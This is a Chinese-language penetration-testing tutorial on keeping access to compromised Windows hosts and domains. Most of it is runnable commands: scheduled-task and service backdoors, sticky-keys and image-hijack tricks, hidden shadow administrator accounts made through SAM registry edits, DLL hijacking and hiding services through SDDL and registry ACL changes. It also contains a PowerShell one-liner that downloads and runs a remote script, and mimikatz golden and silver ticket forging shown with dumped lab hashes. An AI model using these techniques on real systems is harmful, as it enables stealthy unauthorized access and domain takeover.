windows开启rdp
# 1.设置远程桌面端口(可以不用输,直接第二步,默认开启3389)
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
# 2.开启远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
#检查端口状态
netstat -an|find "3389"
#关闭远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
经测试schtasks计划任务后门只能执行一个,不能触发多个,在目标服务器上没有杀毒软件时可以不做免杀,有杀毒软件的情况下静态和动态免杀都要及格才可以正常执行
介绍:
计划任务在 Windows7及之前版本的操作系统中使用at命令调用,在从 Windows8版本开始的操作系统中使用 schtasks命令调用。计划任务后门分为管理员权限和普通用户权限两种。管理员权限的后门可以设置更多的计划任务,例如重启后运行等。
at计划任务:
at \192.168.200.36 13:56 C:shell.exe #创建一项计划任务到时间打开shell.exe程序
schtasks计划任务:
schtasks /create /tn WindowsUpdate /tr "C:UsersfishDesktopcs_shell.exe" /sc minute /mo 1 /ru System /f #每分钟执行一次目标程序
schtasks /create /tn WindowsUpdate /tr "C:UsersfishDesktopcs_shell.exe" /sc onstart /ru System /f #系统运行时执行目标程序
经测试可以获得设置该计划任务的用户权限
屏幕键盘:C:WindowsSystem32osk.exe
放大镜:C:WindowsSystem32Magnify.exe
旁白:C:WindowsSystem32Narrator.exe
显示开关:C:WindowsSystem32DisplaySwitch.exe
应用程序开关:C:WindowsSystem32AtBroker.exe
粘滞键:C:WindowsSystem32sethc.exe
辅助功能:C:WindowsSystem32utilman.exe
理论是将后门替换以上文件,但是目前大部分系统不支持替换,获取不到system32的完全权限,当目标打开对应程序时会触发后门(粘滞键会在屏幕锁定时触发)
测试中准备将sethc文件设置为完全访问权限,这样就可以删除替换了,但是我的电脑win11经测试不能设置
msf型后门可以使用以下命令(target中可以选择类型)
use post/windows/manage/sticky_keys
set session 1
set target UTILMAN
exploit
类似于计划任务后门 创建一个名为.NET CLR Networking 3.5.0.0的服务 并在开机会自行启动 还是需要免杀的后门
shell sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\Users\bunny\Desktop\beacon6.exe" depend= Tcpip obj= Localsystem start= auto
反弹管理员shell
有rdp可以使用命令行处输入 shell:startup 开启自启动文件夹 将后门放入该文件夹即可
默认路径 C:\Users\MentalityXt\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
经测试不登陆用户无法正常启动 只有用户登录后 反弹目标登录用户权限的shell
理论方面:
Run中的程序是WINDOWS初始化后才运行的,而RunService中的程序是在操作系统启动时就开始运行的,也就是说RunServices中的程序先于Run中的程序运行,如电源管理程序。
基础操作
#当前用户所用信息储存地
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunOnce
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunServices
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunServicesOnce
#机器软硬件信息的集散地
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServicesOnce
HKEY_LOCAL_MACHINESoftwarewow6432nodemicrosoftwindowscurrentversionRun
#添加
REG ADD “KeyName” /v “ValueName” /t REG_SZ /d “Data” /f
#操作HKEY_LOCAL_MACHINE需要高权限
#KeyName 远程机器名 - 忽略默认到当前机器。
#/v 所选项之下要添加的值名称。
#/ve为注册表项添加空白值名称(默认)。
#/t RegKey 数据类型 REG_SZ型注册表值项没有长度限制
#/d 要分配给添加的注册表ValueName 的数据。
#/f 不用提示就强行覆盖现有注册表项。
#查询
reg query “KeyName” v ValueName
#不需要权限
#删除
reg delete “KeyName” v ValueName /f
#操作HKEY_LOCAL_MACHINE需要高权限 /f不用提示,强制删除。不加会询问是否删除
在 当前用户所用信息储存地 某个用户写入注册表之后开机不会反弹shell,只能是该用户登录才会反弹shell
在 机器软硬件信息的集散地 写入注册表之后开机并不会反弹shell,只有登录用户之后反弹用户的shell
简介: 映像劫持(Image File Execution Options),简单的说法,就是当你打开的是程序A,而运行的确是程序B。
映像劫持其实是Windows内设的用来调试程序的功能,但是现在却往往被病毒恶意利用。当用户双击对应的程序后,操作系统就会给外壳程序(例如“explorer.exe”)发布相应的指令,其中包含有执行程序的路径和文件名,然后由外壳程序来执行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像劫持子键,如果存在和该程序名称完全相同的子键,就查询对应子健中包含的“Dubugger”键值名,并用其指定的程序路径来代替原始的程序,之后执行的是遭到“劫持”的虚假程序。
理论: 映像劫持技术的利用,存在已久,这里再简单说明下:修改注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
下sethc.exe,添加一个Debugger字符值(REG_SZ),并且赋值为cmd.exe的执行路径为C:\windows\system32\cmd.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v GlobalFlag /t REG_DWORD /d 512 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v ReportingMode /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v MonitorProcess /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
此处测试cmd可以正常运行,但是将cmd改成需要运行的后门的时候无法运行 并且powershell代码语句也不可以反弹shell cs无法监听到(win7+win11)
介绍: 通常在拿到服务器后会创建一个带$
符号的隐藏账户,在cmd下是法查看到,但是通过“管理用户”或者“本地用户和组”可以看到,通过创建影子账户可以完全解决这种问题。
两种方法:
第一种是通过RDP登录管理员然后图形化界面设置影子账号 具体操作如下
首先使用管理员命令行或者手动创建用户
net user User01$ 123@!@#.com /add #该命令创建了一个用户为User01$ 密码为123@!@#.com 的账号
net localgroup administrators User01$ /add #将该用户加入管理员组
打开注册表 regedit
#可能在HKEY_LOCAL_MACHINE\SAM\SAM 无法打开 右键权限 给administrator加上权限
找到HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
在该目录下有个Names 里面找到User01$ 点开之后可以看到所对应的文件夹3EB 例如点开administrator对应的是上面的文件夹000001F4
找到对应的文件夹后 找到 000001F4 将F的值 复制给 000003EB 的F值
导出000003EB和User01$ 为reg文件 自行记下目录
使用命令行或者手动删除创建的用户User01$
net user User01$ /del
删除之后点击导出来的文件即可写入成功 可以使用RDP或者系统登录测试账号是否可用
第二种方法就是无法通过RDP登录的情况下,管理员权限命令行执行创建用户
net user User01$ 123@!@#.com /add #该命令创建了一个用户为User01$ 密码为123@!@#.com 的账号
net localgroup administrators User01$ /add #将该用户加入管理员组
reg query HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users #查看文件 用于找到用户所对应的文件夹
reg query HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names #查看用户创建是否成功
reg query HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 /v F #查看管理员F的值 并手动复制
reg add HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EB /v F /t REG_BINARY /d "" /f #在双引号中输入你所复制的管理员的F值即可
reg export HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EB c:/test.reg
reg export HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\User01$ c:/test1.reg #注意名字不能和上面重复
net user User01$ /del #删除你所创建的用户
net user #查看所有用户 确保已经删除 也可以在运行上面的指令确认注册表的用户是否删除
reg import c:/test.reg
reg import c:/test1.reg #导入用户注册表
原理:我的理解是将dll文件替换正常软件的dll,或者找个正常的软件来执行dll,白+黑的模式,当打开该软件时,便会执行payload
第一种:劫持msdtc
原理:msdtc 每次启动时都会加载三个 dll,oci.dll 默认是不存在的,可以通过劫持这个 dll 达到权限维持目的,可以自行打开注册表查看
位于注册表:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI
首先将生成dll放入 c:\windows\system32 文件夹下
使用 taskkill /f /im msdtc.exe 命令关闭msdtc 等待重启便可以反弹当前登录用户shell
第二种:Monitor权限维持 这个我没有测试成功、但是可以看看 项目地址 https://github.com/Al1ex/Monitor
编译好的exe x86在Release 文件夹中
x64在 x64/Release 中
当然 你也可以自行使用vs编译将 Monitor.cpp 源码中的 test.dll 更换成自己想要的名称
步骤是生成后门dll 将其放到被攻击机的C:\Windows\system32 下面 名称为test.dll
再将Monitor.exe文件 放入被攻击机的C:\Windows\system32 下面 执行Monitor.exe 便可以反弹shell
持久性这方面在该github项目中也说到了 感兴趣的可以去看看
通过修改SDDL(安全描述符)隐藏服务
windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限,服务自然也存在其SDDL,并且sc命令中可以设置SDDL。那么通过更改SDDL可以修改服务的各种权限来隐藏服务
sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
任务管理器及sc命令都看不到该服务(缺点是打开注册表会看到异常value,并且输对了服务名称会提示拒绝访问)
修改注册表ACL(配合修改SDDL使用)
通过修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果
function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSubKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,ChangePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl $S $acl
};Server-Sddl-Change 'test';
复制以上内容保存为.ps1
加载powershell脚本
powershell.exe -exec bypass C:\Users\bunny\Desktop\yc.ps1
在脚本最后附带了一句 Server-Sddl-Change 后面的就是要隐藏的服务名称 当然你可以把他删去远程加载
powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://xxx:8000/s.ps1'));Server-Sddl-Change -Name '.NET CLR Networking 3.5.0.0'"
执行成功后会将该服务项的值隐藏 配合上面一条使用
关于这一条的详解 可以看看 https://blog.csdn.net/qq_50854790/article/details/123011192
1、最简单的属性隐藏文件,只要目标打开显示隐藏文件还是会发现
2、attrib指令隐藏文件
attrib +s +h beacon.exe #给该文件加上系统文件属性和隐藏文件属性
dir /r 以及取消隐藏受保护的操作系统文件选项还是可以看到
3、软件隐藏 Easy File Locker可以搜该软件的教程 下载链接: http://xoslab.com/efl.html
目前我是没有找到能命令行隐藏文件的软件
原理: .KDC(Key Distribution Center)密钥分发中心。
在KDC中又分为两个部分:Authentication Service(AS,身份验证服务)和Ticket Granting Service(TGS,票据授权服务)
AD会维护一个Account Database(账户数据库). 它存储了域中所有用户的密码Hash和白名单。只有账户密码都在白名单中的Client才能申请到TGT。
Kerberos认证的大概流程
当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,验证通过后AS会发放的一个TGT,随后Client再次向TGS证明自己的身份,验证通过后TGS会发放一个ST,最后Client向 Server 发起认证请求,这个过程分为三块:
Client 与 AS 的交互,
Client 与 TGS 的交互,
Client 与 Server 的交互。
黄金票据是伪造TGT,白银票据则是伪造ST
黄金票据伪造的是TGT 我们可以跳过AS阶段 伪造票据直接和TGS交互
最后达到域控权限维持
条件:
1、获取了域控权限
2、获取域的名称
3、域的SID值
4、域的KRBTGT账号的HASH
5、伪造任意用户名
利用方式:
这里只讲述cs的利用方式
首先我们在域控上执行命令
whoami /user
以下是我的返回信息
用户信息
----------------
用户名 SID
========================= =============================================
whoamianony\administrator S-1-5-21-1315137663-3706837544-1429009142-500
根据上面的条件提示 我们需要这里的SID 当然要把最后面的-500去掉 并记录下来
下面获取第二个 计算机全名和域名 这里是连接时的需要
net config workstation
获取到计算机全名 DC.whoamianony.org
获取到域名 whoamianony.org
以下是我的返回信息
计算机名 \\DC
计算机全名 DC.whoamianony.org
用户名 Administrator
工作站正运行于
NetBT_Tcpip_{15F82115-BAF9-4799-8685-95992D678C9B} (000C2997F576)
软件版本 Windows Server 2012 R2 Datacenter
工作站域 WHOAMIANONY
工作站域 DNS 名称 whoamianony.org
登录域 WHOAMIANONY
COM 打开超时 (秒) 0
COM 发送计数 (字节) 16
COM 发送超时 (毫秒) 250
已经获取到两个了 现在我们使用cs自带mimikatz 来获取剩下的东西
mimikatz privilegeg::debug #开启特权模式
mimikatz lsadump::lsa /patch #获取krbtgt用户hash,域的sid
获取到了 域的SID S-1-5-21-1315137663-3706837544-1429009142
krbtgt用户hash HTLM: 6be58bfcc0a164af2408d1d3bd313c2a
你会发现域的SID我上面也提到了 因为两个是同一个 只是这是两种获取方式
以下为 mimikatz lsadump::lsa /patch /user:krbtgt 返回值
Domain : WHOAMIANONY / S-1-5-21-1315137663-3706837544-1429009142
RID : 000001f6 (502)
User : krbtgt
LM :
NTLM : 6be58bfcc0a164af2408d1d3bd313c2a
至此我们获取了所有必须的东西
下面我们开始制作黄金票据 这个地方分为CS自动生成黄金票据以及自行生成的票据
需要学习的命令
mimikatz kerberos::purge #清除票据
mimikatz klist purge #清除票据
mimikatz kerberos::ptt ticket.kirbi #导入票据
mimikatz kerberos::tgt #查看票据
第一种: CS黄金票据
我们直接右键在域控内的主机 不是域控主机 而是其中的
找到 凭证提权 黄金票据
这时候因为我们获取了krbtgt hash 所以我们直接可以点右边三个点获取到hash
用户处随便填 填什么都可以
域的话填我们上面获取的域名 whoamianony.org
域的SID S-1-5-21-1315137663-3706837544-1429009142
点击生成便可以自动生成导入 在后续的渗透中 也可以直接点击黄金票据生成 CS会自行保存你所填的信息 不用自行记录
不得不说这一条挺人性的
第二种: 自行生成
命令如下
mimikatz kerberos::golden /user:test /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837544-1429009142 /krbtgt:6be58bfcc0a164af2408d1d3bd313c2a /ticket:ticket.kirbi
mimikatz kerberos::golden /user:XXX任意用户名 /domain:域名 /sid:域的sid值 /ticket:XXX.kirbi(生成的票据名称)
会在当前目录下生成一个 tickrt.kirbi 的文件
mimikatz klist purge #清除票据
mimikatz kerberos::ptt ticket.kirbi #导入票据
记得上面获取的域控的计算机全名吗
dir \\DC.whoamianony.org\c$
dir \\计算机全名\c$
以下是我的回显
驱动器 \\DC.whoamianony.org\c$ 中的卷没有标签。
卷的序列号是 709B-313C
\\DC.whoamianony.org\c$ 的目录
2022/11/26 13:18 289,280 1.exe
2013/08/22 23:52 PerfLogs
2013/08/22 22:50 Program Files
2013/08/22 23:39 Program Files (x86)
2021/02/22 16:45 Users
2021/02/22 16:16 Windows
1 个文件 289,280 字节
5 个目录 17,711,583,232 可用字节
接下来就是写计划任务等获取长期控制 可以参考本文第一条操作
但是黄金票据本身也是一种权限维持 还是看自己怎么运用
在黄金票据阶段我们说过黄金票据和白银票据基础
白银票据是跳过AS和TGS 直接带着伪造的ST 与server交互
白银票据所需条件
1、域控权限
2、域名
3、域sid
4、目标服务器名
5、可利用的服务
6、服务账号的NTML HASH
7、需要伪造的用户名
这里的 域名 和 域SID 参考黄金票据获取方法
我们使用上面的
域名 whoamianony.org
域SID S-1-5-21-1315137663-3706837544-1429009142
现在我们获取服务账号的HTML HASH 也就是DC域控服务器上的
mimikatz "privilege::debug" "sekurlsa::logonPasswords" > 'xxx.txt' #将返回信息写入当前目录下的 xxx.txt
然后查看xxx.txt 看信息
也可以直接
mimikatz privilege::debug #开启特权模式
mimikatz sekurlsa::logonPasswords #获取DC的hash 以及 服务器名字
以下为我的返回信息 截取了需要的信息一部分
可以看到我们需要的 Domain:DC$ HTLM:a05e07d07cb86c27c1859b31622ffe83
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : DC$
Domain : WHOAMIANONY
Logon Server : (null)
Logon Time : 2022/11/26 21:38:12
SID : S-1-5-20
msv :
[00000003] Primary
* Username : DC$
* Domain : WHOAMIANONY
* NTLM : a05e07d07cb86c27c1859b31622ffe83
* SHA1 : 4ec07efe112d0563fa5d44af3a19c24b419cabd3
tspkg :
wdigest :
* Username : DC$
* Domain : WHOAMIANONY
* Password : (null)
kerberos :
* Username : dc$
* Domain : WHOAMIANONY.ORG
* Password : (null)
ssp : KO
credman :
现在准备工作完成了 制作白银票据
mimikatz klist purge #清除票据
mimikatz kerberos::golden /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837544-1429009142 /target:dc.whoamianony.org /service:cifs /rc4:a05e07d07cb86c27c1859b31622ffe83 /user:test /ptt
kerberos::golden /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash /user:xxx用户名 /ptt
我们选择的cifs共享服务的一种文件系统 以上命令直接将票据导入
dir \\dc.whoamianony.org\c$
成功获取到
驱动器 \\dc.whoamianony.org\c$ 中的卷没有标签。
卷的序列号是 709B-313C
\\dc.whoamianony.org\c$ 的目录
2022/11/26 13:18 289,280 1.exe
2013/08/22 23:52 PerfLogs
2013/08/22 22:50 Program Files
2013/08/22 23:39 Program Files (x86)
2021/02/22 16:45 Users
2021/02/22 16:16 Windows
1 个文件 289,280 字节
5 个目录 17,711,517,696 可用字节
关于获取权限后 这里使用cs自带 psexec 获取cmd
获取一台域控中的主机 上线CS
导入白银或者黄金票据
右键上线的主机网络探测 获取到我们的域控主机地址
直接进入CS 攻击视图 右键横向移动找到psexec64 找到我们创建的令牌
执行后获取到SYSTEM权限的shell
又或者将PsExec.exe 传入我们获取到的域控内的主机
PsExec.exe \\要访问的域机器名 cmd 也可以获取shell
金票和银票的区别
获取的权限不同
金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS
认证流程不同
金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server
加密方式不同
金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密
此处适用长期维持域控权限,因为域控密码虽然修改,或控制域控的漏洞被修复,但若KRBTGT的hash不变,则可一直维持域控权限
如果要上线的目标在内网里 可以使用我们获取到的跳板机 转发上线功能 最近在研究内网手法 这些东西 会在下篇文章 《内网横向》中写到